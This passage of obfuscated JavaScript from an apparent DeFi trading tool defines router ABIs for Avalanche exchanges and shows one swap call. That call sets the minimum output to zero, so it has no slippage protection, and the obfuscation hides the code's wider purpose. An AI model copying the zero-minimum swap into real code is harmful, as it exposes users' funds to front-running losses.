inputs: [_0x20aa80, _0x4dd789, _0xad31b2, _0x81f57f, _0x4d68ff, _0x52acd1, _0x48d73f, _0x2227d1],
name: "addLiquidity",
outputs: [{
'internalType': "uint256",
'name': 'amountA',
'type': "uint256"
}, {
'internalType': "uint256",
'name': 'amountB',
'type': "uint256"
}, {
'internalType': "uint256",
'name': 'liquidity',
'type': "uint256"
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0x18aa4f = {
internalType: 'address',
name: "token",
type: 'address'
};
const _0x518a22 = {
internalType: "uint256",
name: "amountTokenDesired",
type: "uint256"
};
const _0x13c551 = {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
};
const _0x179080 = {
internalType: 'uint256',
name: "amountAVAXMin",
type: "uint256"
};
const _0x8b7bd6 = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x32c57f = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x4847d5 = {
internalType: "uint256",
name: "amountToken",
type: "uint256"
};
const _0x40cbcc = {
internalType: "uint256",
name: "amountAVAX",
type: "uint256"
};
const _0x5cba7f = {
internalType: "uint256",
name: "liquidity",
type: "uint256"
};
const _0xfa2e99 = {
inputs: [_0x18aa4f, _0x518a22, _0x13c551, _0x179080, _0x8b7bd6, _0x32c57f],
name: "addLiquidityAVAX",
outputs: [_0x4847d5, _0x40cbcc, _0x5cba7f],
stateMutability: 'payable',
type: 'function'
};
const _0x3de420 = {
inputs: [],
name: "factory",
outputs: [{
'internalType': 'address',
'name': '',
'type': "address"
}],
stateMutability: 'view',
type: 'function'
};
const _0x319ab9 = {
internalType: "uint256",
name: "amountOut",
type: "uint256"
};
const _0x3f1cec = {
internalType: "uint256",
name: "reserveIn",
type: "uint256"
};
const _0x378e27 = {
internalType: "uint256",
name: "reserveOut",
type: "uint256"
};
const _0x2a45a4 = {
inputs: [_0x319ab9, _0x3f1cec, _0x378e27],
name: "getAmountIn",
outputs: [{
'internalType': "uint256",
'name': "amountIn",
'type': "uint256"
}],
stateMutability: 'pure',
type: 'function'
};
const _0x2fe08d = {
internalType: 'uint256',
name: "amountIn",
type: "uint256"
};
const _0x539c8e = {
internalType: "uint256",
name: "reserveIn",
type: "uint256"
};
const _0x1ac6b5 = {
internalType: "uint256",
name: "reserveOut",
type: "uint256"
};
const _0xedece = {
inputs: [_0x2fe08d, _0x539c8e, _0x1ac6b5],
name: "getAmountOut",
outputs: [{
'internalType': "uint256",
'name': 'amountOut',
'type': "uint256"
}],
stateMutability: "pure",
type: 'function'
};
const _0x308126 = {
internalType: "uint256",
name: "amountOut",
type: "uint256"
};
const _0x13f583 = {
internalType: "address[]",
name: 'path',
type: "address[]"
};
const _0x239b8b = {
inputs: [_0x308126, _0x13f583],
name: "getAmountsIn",
outputs: [{
'internalType': "uint256[]",
'name': "amounts",
'type': "uint256[]"
}],
stateMutability: 'view',
type: 'function'
};
const _0x9109f8 = {
internalType: "uint256",
name: "amountIn",
type: "uint256"
};
const _0x3e8dc9 = {
internalType: "address[]",
name: 'path',
type: "address[]"
};
const _0xde6e73 = {
inputs: [_0x9109f8, _0x3e8dc9],
name: "getAmountsOut",
outputs: [{
'internalType': "uint256[]",
'name': "amounts",
'type': "uint256[]"
}],
stateMutability: "view",
type: "function"
};
const _0x3351cb = {
internalType: "uint256",
name: "amountA",
type: "uint256"
};
const _0x13b15a = {
internalType: "uint256",
name: "reserveA",
type: "uint256"
};
const _0xcb615c = {
internalType: "uint256",
name: "reserveB",
type: "uint256"
};
const _0x18d981 = {
inputs: [_0x3351cb, _0x13b15a, _0xcb615c],
name: "quote",
outputs: [{
'internalType': "uint256",
'name': 'amountB',
'type': "uint256"
}],
stateMutability: "pure",
type: 'function'
};
const _0xdfd8dd = {
internalType: 'address',
name: "tokenA",
type: 'address'
};
const _0x4f782d = {
internalType: 'address',
name: "tokenB",
type: 'address'
};
const _0x53d03d = {
internalType: "uint256",
name: 'liquidity',
type: "uint256"
};
const _0xc1b7a9 = {
internalType: "uint256",
name: "amountAMin",
type: "uint256"
};
const _0x48ad83 = {
internalType: "uint256",
name: "amountBMin",
type: "uint256"
};
const _0x3f76cb = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x1eb39b = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0xc12572 = {
inputs: [_0xdfd8dd, _0x4f782d, _0x53d03d, _0xc1b7a9, _0x48ad83, _0x3f76cb, _0x1eb39b],
name: "removeLiquidity",
outputs: [{
'internalType': "uint256",
'name': "amountA",
'type': "uint256"
}, {
'internalType': "uint256",
'name': 'amountB',
'type': "uint256"
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0x4fb445 = {
internalType: "address",
name: "token",
type: 'address'
};
const _0x484f83 = {
internalType: "uint256",
name: "liquidity",
type: "uint256"
};
const _0x482ba8 = {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
};
const _0x48fb4c = {
internalType: "uint256",
name: "amountAVAXMin",
type: "uint256"
};
const _0xc54a22 = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x106191 = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x4cfd3b = {
inputs: [_0x4fb445, _0x484f83, _0x482ba8, _0x48fb4c, _0xc54a22, _0x106191],
name: "removeLiquidityAVAX",
outputs: [{
'internalType': "uint256",
'name': "amountToken",
'type': "uint256"
}, {
'internalType': "uint256",
'name': "amountAVAX",
'type': "uint256"
}],
stateMutability: "nonpayable",
type: "function"
};
const _0x125852 = {
internalType: 'address',
name: "token",
type: 'address'
};
const _0x1a56fd = {
internalType: "uint256",
name: "liquidity",
type: "uint256"
};
const _0x2c9f78 = {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
};
const _0x3ad099 = {
internalType: "uint256",
name: "amountAVAXMin",
type: "uint256"
};
const _0x3efc9e = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x238f4f = {
internalType: 'uint256',
name: "deadline",
type: "uint256"
};
const _0x319c1d = {
inputs: [_0x125852, _0x1a56fd, _0x2c9f78, _0x3ad099, _0x3efc9e, _0x238f4f],
name: "removeLiquidityAVAXSupportingFeeOnTransferTokens",
outputs: [{
'internalType': "uint256",
'name': "amountAVAX",
'type': "uint256"
}],
stateMutability: "nonpayable",
type: "function"
};
const _0x4cce4e = {
internalType: 'address',
name: "token",
type: 'address'
};
const _0x66548e = {
internalType: "uint256",
name: 'liquidity',
type: "uint256"
};
const _0x4dbd43 = {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
};
const _0x457ec0 = {
internalType: "uint256",
name: "amountAVAXMin",
type: "uint256"
};
const _0x19ed7e = {
internalType: "address",
name: 'to',
type: 'address'
};
const _0x2802d0 = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x46619a = {
internalType: 'bool',
name: 'approveMax',
type: 'bool'
};
const _0x2fd3ec = {
internalType: "uint8",
name: 'v',
type: "uint8"
};
const _0x2f8702 = {
internalType: "bytes32",
name: 'r',
type: "bytes32"
};
const _0x4b2396 = {
internalType: "bytes32",
name: 's',
type: "bytes32"
};
const _0x2dec73 = {
inputs: [_0x4cce4e, _0x66548e, _0x4dbd43, _0x457ec0, _0x19ed7e, _0x2802d0, _0x46619a, _0x2fd3ec, _0x2f8702, _0x4b2396],
name: "removeLiquidityAVAXWithPermit",
outputs: [{
'internalType': "uint256",
'name': "amountToken",
'type': 'uint256'
}, {
'internalType': "uint256",
'name': "amountAVAX",
'type': "uint256"
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0x2f9fdf = {
internalType: 'address',
name: "token",
type: 'address'
};
const _0x4340c9 = {
internalType: "uint256",
name: "liquidity",
type: "uint256"
};
const _0x45a069 = {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
};
const _0x5dd5bf = {
internalType: "uint256",
name: "amountAVAXMin",
type: 'uint256'
};
const _0x344afb = {
internalType: 'address',
name: 'to',
type: "address"
};
const _0xe7226a = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x4a6a11 = {
internalType: "bool",
name: 'approveMax',
type: "bool"
};
const _0x2bfec2 = {
internalType: "uint8",
name: 'v',
type: "uint8"
};
const _0x1e1267 = {
internalType: "bytes32",
name: 'r',
type: "bytes32"
};
const _0x515f9c = {
internalType: "bytes32",
name: 's',
type: 'bytes32'
};
const _0x5b9034 = {
inputs: [_0x2f9fdf, _0x4340c9, _0x45a069, _0x5dd5bf, _0x344afb, _0xe7226a, _0x4a6a11, _0x2bfec2, _0x1e1267, _0x515f9c],
name: "removeLiquidityAVAXWithPermitSupportingFeeOnTransferTokens",
outputs: [{
'internalType': "uint256",
'name': "amountAVAX",
'type': "uint256"
}],
stateMutability: "nonpayable",
type: "function"
};
const _0x1a17c7 = {
internalType: "address",
name: "tokenA",
type: 'address'
};
const _0x227d63 = {
internalType: "address",
name: "tokenB",
type: 'address'
};
const _0x10bae6 = {
internalType: "uint256",
name: "liquidity",
type: "uint256"
};
const _0x48b4dc = {
internalType: "uint256",
name: "amountAMin",
type: "uint256"
};
const _0x17bea7 = {
internalType: "uint256",
name: "amountBMin",
type: "uint256"
};
const _0x47d1e = {
internalType: "address",
name: 'to',
type: 'address'
};
const _0x2cdad6 = {
internalType: 'uint256',
name: "deadline",
type: "uint256"
};
const _0x515b01 = {
internalType: 'bool',
name: 'approveMax',
type: 'bool'
};
const _0x4a2b20 = {
internalType: "uint8",
name: 'v',
type: "uint8"
};
const _0x52625b = {
internalType: "bytes32",
name: 'r',
type: "bytes32"
};
const _0x7fd2ad = {
internalType: "bytes32",
name: 's',
type: "bytes32"
};
const _0x193b4e = {
inputs: [_0x1a17c7, _0x227d63, _0x10bae6, _0x48b4dc, _0x17bea7, _0x47d1e, _0x2cdad6, _0x515b01, _0x4a2b20, _0x52625b, _0x7fd2ad],
name: "removeLiquidityWithPermit",
outputs: [{
'internalType': "uint256",
'name': "amountA",
'type': "uint256"
}, {
'internalType': "uint256",
'name': 'amountB',
'type': "uint256"
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0x5d3926 = {
internalType: "uint256",
name: "amountOut",
type: "uint256"
};
const _0x410fa4 = {
internalType: "address[]",
name: 'path',
type: "address[]"
};
const _0x1e0e6f = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x354d02 = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x26a8f9 = {
inputs: [_0x5d3926, _0x410fa4, _0x1e0e6f, _0x354d02],
name: "swapAVAXForExactTokens",
outputs: [{
'internalType': "uint256[]",
'name': "amounts",
'type': "uint256[]"
}],
stateMutability: "payable",
type: "function"
};
const _0x29ea77 = {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
};
const _0x2dee13 = {
internalType: "address[]",
name: 'path',
type: "address[]"
};
const _0x1d71b4 = {
internalType: "address",
name: 'to',
type: 'address'
};
const _0x27b07c = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0xe7e1ff = {
inputs: [_0x29ea77, _0x2dee13, _0x1d71b4, _0x27b07c],
name: "swapExactAVAXForTokens",
outputs: [{
'internalType': "uint256[]",
'name': "amounts",
'type': "uint256[]"
}],
stateMutability: "payable",
type: "function"
};
const _0x26e7e0 = {
internalType: 'uint256',
name: "amountOutMin",
type: "uint256"
};
const _0x4cafa9 = {
internalType: "address[]",
name: 'path',
type: "address[]"
};
const _0x446e14 = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x1b1e21 = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x41f026 = {
inputs: [_0x26e7e0, _0x4cafa9, _0x446e14, _0x1b1e21],
name: "swapExactAVAXForTokensSupportingFeeOnTransferTokens",
outputs: [],
stateMutability: "payable",
type: 'function'
};
const _0x4f0718 = {
internalType: "uint256",
name: "amountIn",
type: "uint256"
};
const _0x158988 = {
internalType: "uint256",
name: "amountOutMin",
type: 'uint256'
};
const _0x364c59 = {
internalType: "address[]",
name: "path",
type: "address[]"
};
const _0x2a7940 = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x10ca2c = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x297236 = {
inputs: [_0x4f0718, _0x158988, _0x364c59, _0x2a7940, _0x10ca2c],
name: "swapExactTokensForAVAX",
outputs: [{
'internalType': "uint256[]",
'name': "amounts",
'type': "uint256[]"
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0x136c75 = {
internalType: "uint256",
name: "amountIn",
type: "uint256"
};
const _0x3ef0d4 = {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
};
const _0x2d7b1e = {
internalType: "address[]",
name: "path",
type: "address[]"
};
const _0x40aebb = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x2ddcc9 = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x211c5c = {
inputs: [_0x136c75, _0x3ef0d4, _0x2d7b1e, _0x40aebb, _0x2ddcc9],
name: "swapExactTokensForAVAXSupportingFeeOnTransferTokens",
outputs: [],
stateMutability: "nonpayable",
type: "function"
};
const _0x5936ff = {
internalType: "uint256",
name: "amountIn",
type: "uint256"
};
const _0x53daa4 = {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
};
const _0x3719d9 = {
internalType: "address[]",
name: 'path',
type: 'address[]'
};
const _0x3052be = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x407a7f = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x5e13d9 = {
inputs: [_0x5936ff, _0x53daa4, _0x3719d9, _0x3052be, _0x407a7f],
name: "swapExactTokensForTokens",
outputs: [{
'internalType': "uint256[]",
'name': "amounts",
'type': "uint256[]"
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0x1727ee = {
internalType: 'uint256',
name: "amountIn",
type: "uint256"
};
const _0x1b086f = {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
};
const _0x278d72 = {
internalType: "address[]",
name: 'path',
type: "address[]"
};
const _0x2dc884 = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x18c68c = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x21db93 = {
inputs: [_0x1727ee, _0x1b086f, _0x278d72, _0x2dc884, _0x18c68c],
name: "swapExactTokensForTokensSupportingFeeOnTransferTokens",
outputs: [],
stateMutability: "nonpayable",
type: "function"
};
const _0x2efd00 = {
internalType: 'uint256',
name: "amountOut",
type: 'uint256'
};
const _0x2feb5f = {
internalType: "uint256",
name: "amountInMax",
type: "uint256"
};
const _0x48cf68 = {
internalType: "address[]",
name: 'path',
type: "address[]"
};
const _0x11fa9c = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x2f6458 = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x362f0e = {
inputs: [_0x2efd00, _0x2feb5f, _0x48cf68, _0x11fa9c, _0x2f6458],
name: "swapTokensForExactAVAX",
outputs: [{
'internalType': "uint256[]",
'name': 'amounts',
'type': "uint256[]"
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0x22cec6 = {
internalType: "uint256",
name: "amountOut",
type: "uint256"
};
const _0x4953e7 = {
internalType: "uint256",
name: "amountInMax",
type: "uint256"
};
const _0x1526a2 = {
internalType: "address[]",
name: 'path',
type: "address[]"
};
const _0x1b23a5 = {
internalType: 'address',
name: 'to',
type: "address"
};
const _0x28df13 = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x3348d8 = {
internalType: "uint256[]",
name: "amounts",
type: "uint256[]"
};
const _0x102f2d = {
inputs: [_0x22cec6, _0x4953e7, _0x1526a2, _0x1b23a5, _0x28df13],
name: "swapTokensForExactTokens",
outputs: [_0x3348d8],
stateMutability: "nonpayable",
type: 'function'
};
const _0x1915d2 = {
stateMutability: "payable",
type: "receive"
};
let _0x121c47 = [_0xf482c7, _0x5145dd, _0x42854c, _0xfa2e99, _0x3de420, _0x2a45a4, _0xedece, _0x239b8b, _0xde6e73, _0x18d981, _0xc12572, _0x4cfd3b, _0x319c1d, _0x2dec73, _0x5b9034, _0x193b4e, _0x26a8f9, _0xe7e1ff, _0x41f026, _0x297236, _0x211c5c, _0x5e13d9, _0x21db93, _0x362f0e, _0x102f2d, _0x1915d2];
let _0x416cb5 = new ethers.Contract(_0x1d9d78, _0x121c47, _0x30ef12);
let _0x44a9be = await _0x416cb5.WAVAX();
let _0x2d58fb = [];
_0x2d58fb[0] = _0x579e7a.asset.token;
_0x2d58fb[1] = _0x44a9be;
return _0x416cb5.swapExactTokensForAVAX(_0x579e7a.asset.amount, 0, _0x2d58fb, this.caller, _0x10922f);
}
case "TraderJoeV2":
{
const _0x1019ff = {
internalType: "contract ILBFactory",
name: '_factory',
type: 'address'
};
const _0x42bcdc = {
internalType: "contract IJoeFactory",
name: "_oldFactory",
type: 'address'
};
const _0x55a96c = {
internalType: "contract IWAVAX",
name: '_wavax',
type: 'address'
};
const _0x1d7361 = {
inputs: [_0x1019ff, _0x42bcdc, _0x55a96c],
stateMutability: "nonpayable",
type: "constructor"
};
const _0x2c924e = {
internalType: "uint256",
name: 'bp',
type: "uint256"
};
const _0x35342c = {
inputs: [_0x2c924e],
name: "BinHelper__BinStepOverflows",
type: 'error'
};
const _0xc81fbe = {
inputs: [],
name: "BinHelper__IdOverflows",
type: "error"
};
const _0x4af7f3 = {
inputs: [],
name: "JoeLibrary__InsufficientAmount",
type: 'error'
};
const _0x2af997 = {
inputs: [],
name: "JoeLibrary__InsufficientLiquidity",
type: 'error'
};
const _0x38f1db = {
internalType: "uint256",
name: "amountXMin",
type: "uint256"
};
const _0x37755b = {
internalType: "uint256",
name: "amountX",
type: "uint256"
};
const _0x4fa0aa = {
internalType: "uint256",
name: "amountYMin",
type: "uint256"
};
const _0x2a03b2 = {
internalType: "uint256",
name: "amountY",
type: "uint256"
};
const _0x4cbf55 = {
inputs: [_0x38f1db, _0x37755b, _0x4fa0aa, _0x2a03b2],
name: "LBRouter__AmountSlippageCaught",
type: 'error'
};
const _0x33a0db = {
internalType: "uint256",
name: 'id',
type: "uint256"
};
const _0x1fae54 = {
inputs: [_0x33a0db],
name: "LBRouter__BinReserveOverflows",
type: "error"
};
const _0x226a52 = {
inputs: [],
name: "LBRouter__BrokenSwapSafetyCheck",
type: 'error'
};
const _0xf23ddc = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x3ed569 = {
internalType: "uint256",
name: "currentTimestamp",
type: "uint256"
};
const _0x38b0b9 = {
inputs: [_0xf23ddc, _0x3ed569],
name: "LBRouter__DeadlineExceeded",
type: 'error'
};
const _0x4848d5 = {
internalType: 'address',
name: 'recipient',
type: 'address'
};
const _0xc1144b = {
internalType: "uint256",
name: "amount",
type: "uint256"
};
const _0x3e5524 = {
inputs: [_0x4848d5, _0xc1144b],
name: "LBRouter__FailedToSendAVAX",
type: 'error'
};
const _0xd11f19 = {
internalType: "uint256",
name: "idDesired",
type: "uint256"
};
const _0xca658 = {
internalType: "uint256",
name: "idSlippage",
type: "uint256"
};
const _0x2611fd = {
inputs: [_0xd11f19, _0xca658],
name: "LBRouter__IdDesiredOverflows",
type: 'error'
};
const _0x1597d1 = {
internalType: "int256",
name: 'id',
type: "int256"
};
const _0x148f26 = {
inputs: [_0x1597d1],
name: "LBRouter__IdOverflows",
type: 'error'
};
const _0x3f8c9b = {
internalType: "uint256",
name: "activeIdDesired",
type: 'uint256'
};
const _0x4247bc = {
internalType: "uint256",
name: 'idSlippage',
type: "uint256"
};
const _0x2aeb8e = {
internalType: "uint256",
name: 'activeId',
type: "uint256"
};
const _0x49a847 = {
inputs: [_0x3f8c9b, _0x4247bc, _0x2aeb8e],
name: "LBRouter__IdSlippageCaught",
type: "error"
};
const _0x762d2d = {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
};
const _0x293cab = {
internalType: "uint256",
name: "amountOut",
type: "uint256"
};
const _0x52a546 = {
inputs: [_0x762d2d, _0x293cab],
name: "LBRouter__InsufficientAmountOut",
type: 'error'
};
const _0x148736 = {
internalType: 'address',
name: "wrongToken",
type: 'address'
};
const _0x509c81 = {
inputs: [_0x148736],
name: "LBRouter__InvalidTokenPath",
type: 'error'
};
const _0x23dd3c = {
inputs: [],
name: "LBRouter__LengthsMismatch",
type: 'error'
};
const _0x145bba = {
internalType: "uint256",
name: "amountInMax",
type: "uint256"
};
const _0x486ce7 = {
internalType: "uint256",
name: "amountIn",
type: "uint256"
};
const _0x16a8a7 = {
inputs: [_0x145bba, _0x486ce7],
name: "LBRouter__MaxAmountInExceeded",
type: 'error'
};
const _0x157e16 = {
inputs: [],
name: "LBRouter__NotFactoryOwner",
type: 'error'
};
const _0xba25fa = {
internalType: 'address',
name: "tokenX",
type: 'address'
};
const _0x4c2cbd = {
internalType: 'address',
name: "tokenY",
type: 'address'
};
const _0x5f3570 = {
internalType: "uint256",
name: 'binStep',
type: "uint256"
};
const _0x2466be = {
inputs: [_0xba25fa, _0x4c2cbd, _0x5f3570],
name: "LBRouter__PairNotCreated",
type: 'error'
};
const _0x18d141 = {
inputs: [],
name: "LBRouter__SenderIsNotWAVAX",
type: "error"
};
const _0x9fd904 = {
internalType: 'uint256',
name: 'id',
type: "uint256"
};
const _0x573bb8 = {
inputs: [_0x9fd904],
name: "LBRouter__SwapOverflows",
type: 'error'
};
const _0x478483 = {
internalType: "uint256",
name: "excess",
type: "uint256"
};
const _0x53a3e5 = {
inputs: [_0x478483],
name: "LBRouter__TooMuchTokensIn",
type: 'error'
};
const _0x3fc364 = {
internalType: "uint256",
name: "amount",
type: "uint256"
};
const _0x4e067a = {
internalType: "uint256",
name: "reserve",
type: "uint256"
};
const _0x3381a6 = {
inputs: [_0x3fc364, _0x4e067a],
name: "LBRouter__WrongAmounts",
type: "error"
};
const _0x59f2c2 = {
internalType: 'address',
name: "tokenX",
type: 'address'
};
const _0x4c8116 = {
internalType: 'address',
name: "tokenY",
type: 'address'
};
const _0x14feab = {
internalType: "uint256",
name: "amountX",
type: "uint256"
};
const _0xca8915 = {
internalType: "uint256",
name: "amountY",
type: "uint256"
};
const _0x3052cc = {
internalType: "uint256",
name: "msgValue",
type: "uint256"
};
const _0x4820fe = {
inputs: [_0x59f2c2, _0x4c8116, _0x14feab, _0xca8915, _0x3052cc],
name: "LBRouter__WrongAvaxLiquidityParameters",
type: 'error'
};
const _0x4dfdc1 = {
inputs: [],
name: "LBRouter__WrongTokenOrder",
type: 'error'
};
const _0x43b17c = {
inputs: [],
name: "Math128x128__LogUnderflow",
type: "error"
};
const _0x10386c = {
internalType: "uint256",
name: 'x',
type: "uint256"
};
const _0x35e9f1 = {
internalType: "int256",
name: 'y',
type: 'int256'
};
const _0x39fdb7 = {
inputs: [_0x10386c, _0x35e9f1],
name: "Math128x128__PowerUnderflow",
type: "error"
};
const _0x2fc3fc = {
internalType: "uint256",
name: "prod1",
type: "uint256"
};
const _0x44dbc9 = {
internalType: "uint256",
name: "denominator",
type: "uint256"
};
const _0x1067bf = {
inputs: [_0x2fc3fc, _0x44dbc9],
name: "Math512Bits__MulDivOverflow",
type: 'error'
};
const _0x5421d8 = {
internalType: "uint256",
name: 'prod1',
type: "uint256"
};
const _0x2ac0e2 = {
internalType: "uint256",
name: 'offset',
type: "uint256"
};
const _0x9a05a7 = {
inputs: [_0x5421d8, _0x2ac0e2],
name: "Math512Bits__MulShiftOverflow",
type: 'error'
};
const _0x3ef0e9 = {
internalType: 'uint256',
name: 'offset',
type: "uint256"
};
const _0x4d55c1 = {
inputs: [_0x3ef0e9],
name: "Math512Bits__OffsetOverflows",
type: 'error'
};
const _0x2aa84a = {
internalType: "uint256",
name: 'x',
type: "uint256"
};
const _0x4c91db = {
inputs: [_0x2aa84a],
name: "SafeCast__Exceeds128Bits",
type: 'error'
};
const _0x3341c6 = {
internalType: "uint256",
name: 'x',
type: "uint256"
};
const _0x676494 = {
inputs: [_0x3341c6],
name: "SafeCast__Exceeds40Bits",
type: 'error'
};
const _0x3d235f = {
inputs: [],
name: "TokenHelper__CallFailed",
type: "error"
};
const _0x40c38e = {
inputs: [],
name: "TokenHelper__NonContract",
type: 'error'
};
const _0xbc1de2 = {
inputs: [],
name: "TokenHelper__TransferFailed",
type: 'error'
};
const _0x1ad6de = {
internalType: "contract IERC20",
name: "tokenX",
type: "address"
};
const _0x27bb4f = {
internalType: "contract IERC20",
name: "tokenY",
type: 'address'
};
const _0x12ef0e = {
internalType: "uint256",
name: 'binStep',
type: "uint256"
};
const _0x38e20a = {
internalType: "uint256",
name: "amountX",
type: "uint256"
};
const _0x2098e1 = {
internalType: "uint256",
name: "amountY",
type: "uint256"
};
const _0x665c3 = {
internalType: "uint256",
name: "amountXMin",
type: "uint256"
};
const _0x47d51c = {
internalType: "uint256",
name: "amountYMin",
type: "uint256"
};
const _0xed923c = {
internalType: "uint256",
name: "activeIdDesired",
type: "uint256"
};
const _0x243b5d = {
internalType: "uint256",
name: "idSlippage",
type: "uint256"
};
const _0x1f09c4 = {
internalType: "int256[]",
name: "deltaIds",
type: "int256[]"
};
const _0x16345b = {
internalType: "uint256[]",
name: "distributionX",
type: "uint256[]"
};
const _0x7738fd = {
internalType: "uint256[]",
name: "distributionY",
type: "uint256[]"
};
const _0x2ad79d = {
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x509c5c = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x5e6345 = {
components: [_0x1ad6de, _0x27bb4f, _0x12ef0e, _0x38e20a, _0x2098e1, _0x665c3, _0x47d51c, _0xed923c, _0x243b5d, _0x1f09c4, _0x16345b, _0x7738fd, _0x2ad79d, _0x509c5c],
internalType: "struct ILBRouter.LiquidityParameters",
name: "_liquidityParameters",
type: "tuple"
};
const _0x247efb = {
inputs: [_0x5e6345],
name: "addLiquidity",
outputs: [{
'internalType': "uint256[]",
'name': "depositIds",
'type': "uint256[]"
}, {
'internalType': "uint256[]",
'name': "liquidityMinted",
'type': "uint256[]"
}],
stateMutability: "nonpayable",
type: 'function'
};
const _0x38b0f3 = {
internalType: "contract IERC20",
name: "tokenX",
type: 'address'
};
const _0xcab75b = {
internalType: "contract IERC20",
name: "tokenY",
type: 'address'
};
const _0x2f7338 = {
internalType: "uint256",
name: 'binStep',
type: "uint256"
};
const _0x468977 = {
internalType: "uint256",
name: "amountX",
type: "uint256"
};
const _0xc9730a = {
internalType: "uint256",
name: "amountY",
type: "uint256"
};
const _0x5f5a47 = {
internalType: "uint256",
name: "amountXMin",
type: "uint256"
};
const _0x55bfa4 = {
internalType: "uint256",
name: "amountYMin",
type: "uint256"
};
const _0x3da51d = {
internalType: "uint256",
name: "activeIdDesired",
type: "uint256"
};
const _0x3f11d1 = {
internalType: "uint256",
name: "idSlippage",
type: "uint256"
};
const _0x3ff705 = {
internalType: 'int256[]',
name: 'deltaIds',
type: 'int256[]'
};
const _0xc0848a = {
internalType: "uint256[]",
name: "distributionX",
type: "uint256[]"
};
const _0x59fe4f = {
internalType: "uint256[]",
name: "distributionY",
type: "uint256[]"
};
const _0x5b1fb6 = {
internalType: 'address',
name: 'to',
type: "address"
};
const _0x1b41ff = {
internalType: "uint256",
name: "deadline",
type: "uint256"
};
const _0x31bdd0 = {
components: [_0x38b0f3, _0xcab75b, _0x2f7338, _0x468977, _0xc9730a, _0x5f5a47, _0x55bfa4, _0x3da51d, _0x3f11d1, _0x3ff705, _0xc0848a, _0x59fe4f, _0x5b1fb6, _0x1b41ff],
internalType: "struct ILBRouter.LiquidityParameters",
name: "_liquidityParameters",
type: "tuple"
};
const _0x1bf105 = {
internalType: "uint256[]",
name: 'depositIds',
type: 'uint256[]'
};
const _0x4ea795 = {
inputs: [_0x31bdd0],
name: "addLiquidityAVAX",
outputs: [_0x1bf105, {
'internalType': "uint256[]",
'name': "liquidityMinted",
'type': 'uint256[]'
}],
stateMutability: "payable",
type: 'function'
};
const _0x1c8663 = {
internalType: "contract IERC20",
name: "_tokenX",
type: 'address'
};
const _0x43a05a = {
internalType: "contract IERC20",
name: "_tokenY",
type: "address"
};
const _0x5b29ba = {
internalType: "uint24",
name: "_activeId",
type: "uint24"
};
const _0x48bb7b = {
internalType: 'uint16',
name: "_binStep",
type: "uint16"
};
const _0x2ac1dc = {
inputs: [_0x1c8663, _0x43a05a, _0x5b29ba, _0x48bb7b],
name: "createLBPair",
outputs: [{
'internalType': "contract ILBPair",
'name': "pair",
'type': 'address'
}],
stateMutability: "nonpayable",
type: "function"
};
const _0x4ed39b = {
inputs: [],
name: "factory",
outputs: [{
'internalType': "contract ILBFactory",
'name': '',
'type': 'address'
}],
stateMutability: "view",
type: "function"
};
const _0x54e66f = {
internalType: "contract ILBPair",
name: "_LBPair",
type: 'address'
};
const _0x3343d9 = {
internalType: 'uint256',
name: "_price",
type: "uint256"
};
const _0x29d617 = {
inputs: [_0x54e66f, _0x3343d9],
name: "getIdFromPrice",
outputs: [{
'internalType': "uint24",
'name': '',
'type': "uint24"
}],
stateMutability: 'view',
type: 'function'
};
const _0x131d44 = {
internalType: "contract ILBPair",
name: "_LBPair",
type: 'address'
};
const _0xf51b9c = {
internalType: "uint24",
name: '_id',
type: "uint24"
};
const _0x228b63 = {
inputs: [_0x131d44, _0xf51b9c],
name: "getPriceFromId",
outputs: [{
'internalType': "uint256",
'name': '',
'type': "uint256"
}],
stateMutability: 'view',
type: 'function'
};
const _0x1cd7f9 = {
internalType: "contract ILBPair",
name: "_LBPair",
type: 'address'
};
const _0x20f681 = {
internalType: "uint256",
name: "_amountOut",
type: "uint256"
};
const _0x188301 = {
internalType: 'bool',
name: "_swapForY",
type: 'bool'
};
const _0x59a73e = {
inputs: [_0x1cd7f9, _0x20f681, _0x188301],
name: 'getSwapIn',
outputs: [{
'internalType': "uint256",
'name': "amountIn",
'type': "uint256"
}, {
'internalType': "uint256",
